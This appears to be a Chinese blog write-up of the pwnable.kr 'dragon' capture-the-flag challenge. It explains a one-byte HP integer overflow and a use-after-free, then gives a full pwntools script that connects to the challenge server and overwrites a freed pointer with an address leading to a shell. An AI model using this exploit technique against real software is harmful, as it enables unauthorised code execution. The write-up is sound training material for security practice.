pwnable.kr dragon writeup

丢进IDA里进行分析
程序的逻辑是:
先出现小龙,50HP, 30 damage, 每回合恢复5点血量
可选择人物牧师 或者骑士
牧师的技能:
1.给龙造成20点伤害,耗10点MP
2.恢复50点MP, 耗0点MP
3.一回合无敌,耗25点MP(非常250的技能)

骑士的技能:
1.给龙造成20点伤害
2.给龙造成40点伤害,同时自伤20点HP(杀敌40,自损20,也非常250)

这两个人物的技能靠程序逻辑无法杀龙,只能寻找程序漏洞
在这里插入图片描述
由于龙的血量是一个大小为一个字节的变量存储的,范围为-128~127,这个时候就可以想到整数溢出了,杀龙的判定是龙的血量小于等于0,牧师的3技能与2技能组合起来 能奶龙 4*12 + 8 = 56点HP, 母龙的HP为80, 足够把它奶死了
第一阶段漏洞利用思路:
先用骑士献祭
然后刷出母龙
再上牧师,把母龙奶死,进入如下分支
在这里插入图片描述
把母龙奶死后,会把指向龙的数据的堆区域给释放掉,但是这个分支里却使用了这个指针,触发了uaf漏洞,在给v2分配空间的时候会重用那个堆区域,
所以我们只要输入调用system函数的地址就可以getshell了

Exp:

from pwn import *

context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(proc.pidof(p)[0], gdbscript="b main")

p = remote("pwnable.kr", 9004)


def killdragon():
    p.recvuntil("[ 2 ] Knight\n")
    p.sendline("2")
    p.recvuntil("20 HP.\n")
    p.sendline("2")
    p.recvuntil("[ 2 ] Knight\n")
    p.sendline("1")
    for i in range(4):
        for j in range(2):
            p.recvuntil("You Become Temporarily Invincible.\n")
            p.sendline("3")
        p.recvuntil("You Become Temporarily Invincible.\n")
        p.sendline("2")

killdragon()
p.recvuntil("The World Will Remember You As:\n")
payload = p32(0x08048DBF)

p.sendline(payload)

p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值